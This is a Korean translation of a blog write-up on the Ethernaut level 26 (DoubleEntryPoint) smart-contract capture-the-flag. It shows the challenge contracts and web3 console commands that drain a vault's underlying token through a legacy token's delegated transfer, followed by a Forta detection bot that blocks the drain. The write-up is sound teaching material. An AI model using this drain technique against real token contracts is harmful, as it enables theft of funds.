Ethernaut 해킹 레벨 26: 이중 진입점
전제 조건
마구 자르기
주어진 계약:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
interface DelegateERC20 {
  function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}
interface IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external;
}
interface IForta {
    function setDetectionBot(address detectionBotAddress) external;
    function notify(address user, bytes calldata msgData) external;
    function raiseAlert(address user) external;
}
contract Forta is IForta {
  mapping(address => IDetectionBot) public usersDetectionBots;
  mapping(address => uint256) public botRaisedAlerts;
  function setDetectionBot(address detectionBotAddress) external override {
      require(address(usersDetectionBots[msg.sender]) == address(0), "DetectionBot already set");
      usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
  }
  function notify(address user, bytes calldata msgData) external override {
    if(address(usersDetectionBots[user]) == address(0)) return;
    try usersDetectionBots[user].handleTransaction(user, msgData) {
        return;
    } catch {}
  }
  function raiseAlert(address user) external override {
      if(address(usersDetectionBots[user]) != msg.sender) return;
      botRaisedAlerts[msg.sender] += 1;
  } 
}
contract CryptoVault {
    address public sweptTokensRecipient;
    IERC20 public underlying;
    constructor(address recipient) public {
        sweptTokensRecipient = recipient;
    }
    function setUnderlying(address latestToken) public {
        require(address(underlying) == address(0), "Already set");
        underlying = IERC20(latestToken);
    }
    /*
    ...
    */
    function sweepToken(IERC20 token) public {
        require(token != underlying, "Can't transfer underlying token");
        token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
    }
}
contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
    DelegateERC20 public delegate;
    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }
    function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
        delegate = newContract;
    }
    function transfer(address to, uint256 value) public override returns (bool) {
        if (address(delegate) == address(0)) {
            return super.transfer(to, value);
        } else {
            return delegate.delegateTransfer(to, value, msg.sender);
        }
    }
}
contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
    address public cryptoVault;
    address public player;
    address public delegatedFrom;
    Forta public forta;
    constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) public {
        delegatedFrom = legacyToken;
        forta = Forta(fortaAddress);
        player = playerAddress;
        cryptoVault = vaultAddress;
        _mint(cryptoVault, 100 ether);
    }
    modifier onlyDelegateFrom() {
        require(msg.sender == delegatedFrom, "Not legacy contract");
        _;
    }
    modifier fortaNotify() {
        address detectionBot = address(forta.usersDetectionBots(player));
        // Cache old number of bot alerts
        uint256 previousValue = forta.botRaisedAlerts(detectionBot);
        // Notify Forta
        forta.notify(player, msg.data);
        // Continue execution
        _;
        // Check if alarms have been raised
        if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
    }
    function delegateTransfer(
        address to,
        uint256 value,
        address origSender
    ) public override onlyDelegateFrom fortaNotify returns (bool) {
        _transfer(origSender, to, value);
        return true;
    }
}
player는 CryptoVault에서 버그를 찾아 고갈되는 것을 방지하기 위해 Forta 봇을 만들어야 합니다.먼저 기본(DET) 토큰을 유출할 수 있는 익스플로잇을 알아봅시다.
sweepToken() 메서드를 보면 예상대로 require 검사로 기본 토큰 스윕을 제한하는 것을 볼 수 있습니다. 그러나 LegacyToken 의 transfer() 방법을 살펴보십시오.if (address(delegate) == address(0)) {
    return super.transfer(to, value);
} else {
    return delegate.delegateTransfer(to, value, msg.sender);
}
실제로 일부
delegateTransfer() 계약의 DelegateERC20 메서드를 호출하는 것처럼 보입니다. 그러나 이 DelegateERC20는 기본 ( DET ) 토큰 자체의 구현일 뿐입니다! 그리고 delegateTransfer()는 주어진 매개변수에 따라 토큰을 전송합니다. delegateTransfer()의 유일한 제한 사항은 msg.sender가 LegacyToken(delegatedFrom 주소) 계약이어야 한다는 것입니다.따라서
transfer() 계약의 LegacyToken를 통해 기본 토큰을 간접적으로 스윕할 수 있습니다. sweepToken 계약의 주소로 LegacyToken를 호출하기만 하면 됩니다. 그러면 LegacyContract가 DoubleEntryPoint의 (DET 토큰) delegateTransfer() 메서드를 호출하게 됩니다.vault = await contract.cryptoVault()
// Check initial balance (100 DET)
await contract.balanceOf(vault).then(v => v.toString()) // '100000000000000000000'
legacyToken = await contract.delegatedFrom()
// sweepTokens(..) function call data
sweepSig = web3.eth.abi.encodeFunctionCall({
    name: 'sweepToken',
    type: 'function',
    inputs: [{name: 'token', type: 'address'}]
}, [legacyToken])
// Send exploit transaction
await web3.eth.sendTransaction({ from: player, to: vault, data: sweepSig })
// Check balance (0 DET)
await contract.balanceOf(vault).then(v => v.toString()) // '0'
그리고
CryptoVault는 DET 토큰을 휩쓸었습니다!이것은
transfer()의 LegacyToken를 호출하는 동안 msg.sender가 CryptoVault이기 때문에 작동했습니다. 그리고 바로 다음에 delegateTransfer()가 호출되면 origSender는 CryptoVault 계약의 전달된 주소이고 msg.sender는 LegacyToken이므로 onlyDelegateFrom 수정자가 체크아웃됩니다.이제 이 악용을 방지하기 위해
IDetectionBot 인터페이스를 구현하는 간단한 계약인 봇을 작성해야 합니다. 봇handleTransaction(..)에서 주소가 CryptoVault 주소가 아닌지 간단히 확인할 수 있습니다. 그렇다면 경보를 발령하십시오. 따라서 스윕을 방지합니다.Remix를 열고 봇을 배포하고(Rinkeby에서) 주소를 복사합니다.
pragma solidity ^0.8.0;
interface IForta {
    function raiseAlert(address user) external;
}
contract FortaDetectionBot {
    address private cryptoVault;
    constructor(address _cryptoVault) {
        cryptoVault = _cryptoVault;
    }
    function handleTransaction(address user, bytes calldata msgData) external {
        // Extract the address of original message sender
        // which should start at offset 168 (0xa8) of calldata
        address origSender;
        assembly {
            origSender := calldataload(0xa8)
        }
        if (origSender == cryptoVault) {
            IForta(msg.sender).raiseAlert(user);
        }
    }
}
위의
FortaDetectionBot 계약에서 우리는 ABI encoding 사양에 따라 오프셋을 계산하여 원래 트랜잭션 발신자의 주소를 추출합니다.이제
Forta 계약에서 봇을 설정합니다.// FortaDetectionBot
botAddr = '0x...'
// Forta contract address
forta = await contract.forta()
// setDetectionBot() function call data
setBotSig = web3.eth.abi.encodeFunctionCall({
    name: 'setDetectionBot',
    type: 'function',
    inputs: [
        { type: 'address', name: 'detectionBotAddress' }
    ]
}, [botAddr])
// Send the transaction setting the bot
await web3.eth.sendTransaction({from: player, to: forta, data: setBotSig })
그게 다야!
멋진 것을 배웠습니까? 주연 고려 github repo 😄
그리고 트위터에서 저를 팔로우하세요 🙏
Reference
이 문제에 관하여(Ethernaut 해킹 레벨 26: 이중 진입점), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/nvn/ethernaut-hacks-level-26-double-entry-point-1774텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
                                
                                
                                
                                
                                
                                우수한 개발자 콘텐츠 발견에 전념
                                (Collection and Share based on the CC Protocol.)